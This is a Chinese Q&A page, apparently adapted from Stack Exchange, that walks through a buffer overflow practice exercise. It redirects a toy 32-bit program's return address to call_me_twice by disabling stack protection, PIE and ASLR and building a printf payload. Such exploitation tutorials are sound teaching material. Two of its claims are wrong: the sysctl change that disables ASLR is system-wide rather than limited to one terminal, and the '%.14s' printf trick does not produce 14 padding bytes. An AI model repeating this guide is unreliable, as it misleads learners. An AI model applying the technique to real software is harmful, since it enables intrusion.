You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Ubuntu 24环境下缓冲区溢出复现失败:如何二次调用call_me_twice函数?

缓冲区溢出:二次调用call_me_twice的问题排查与修复

你在练习缓冲区溢出时遇到的问题,主要是几个细节没处理到位——填充长度没算准、地址传递方式不对,还有编译/系统防护没关彻底。下面一步步帮你解决:

先说说你操作里的核心误区

  1. 盲目填充无效:你随便加一堆#,但根本没算出缓冲区到返回地址的准确偏移量,覆盖不到EIP(指令指针寄存器)自然不会触发跳转。
  2. 命令行传十六进制字节的方式错了:直接输入\x1c\x52\x40\x66,shell会把它当成普通字符串(反斜杠和字符都会被原样传递),根本不是你要的二进制字节。
  3. 没关ASLR和PIE:Ubuntu默认开启了地址空间随机化(ASLR),而且gcc默认编译会开启位置无关代码(PIE),这俩都会让函数地址每次运行都变化,你用的静态地址肯定无效。

分步解决步骤

1. 重新编译程序(关闭所有干扰防护)

先编译出一个完全可控的32位程序,关闭栈保护、PIE:

gcc -m32 -fno-stack-protector -no-pie bof.c -o bof

然后临时关闭当前终端的ASLR(重启终端会恢复,不影响系统全局):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

2. 精准计算缓冲区到返回地址的偏移量

用gdb的pattern工具快速算偏移,比手动数栈方便得多:

  • 启动gdb:gdb ./bof
  • 生成200字节的测试pattern:pattern create 200
  • 运行程序传入这个pattern:r '这里粘贴生成的pattern字符串'
  • 程序崩溃后,查看EIP寄存器的值:info registers eip
  • 用pattern计算偏移:pattern offset 0xXXXXXX(把刚才EIP的值填进去)
    比如得到偏移是14字节(array[10] + EBP的4字节,刚好14),那就是需要填14个字符才能覆盖到返回地址的位置。

3. 正确构造包含函数地址的输入

首先确认call_me_twice的真实地址:在gdb里输入p call_me_twice,比如得到$1 = {char (*)()} 0x8049186,那小端序的字节就是\x86\x91\x04\x08。

然后用printf来生成二进制字节(shell直接传不了十六进制字节,必须用printf转换):

# 这里的14是刚才算出的偏移量,替换成你自己的数值
./bof $(printf '%.14s\x86\x91\x04\x08' '#')

%.14s会生成14个#填充,后面拼接小端序的函数地址,刚好覆盖return_input的返回地址。

4. 验证结果

运行上面的命令后,你应该会看到两次Example输出:第一次是main函数里的调用,第二次是缓冲区溢出后,return_input返回时跳转到call_me_twice执行,完美达到你的目标。

额外提醒

  • 如果之后要练习更复杂的溢出,ASLR可以关闭也可以用ROP绕过,但这个练习里直接关闭最省事。
  • 小端序一定不能搞反,32位地址的字节顺序是从低到高,比如地址0x12345678要写成\x78\x56\x34\x12。
  • 编译参数里的-no-pie必须加,否则函数地址是随机的,固定地址完全没用。

内容的提问来源于stack exchange,提问作者Slimboy Fat

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.28 06:34:24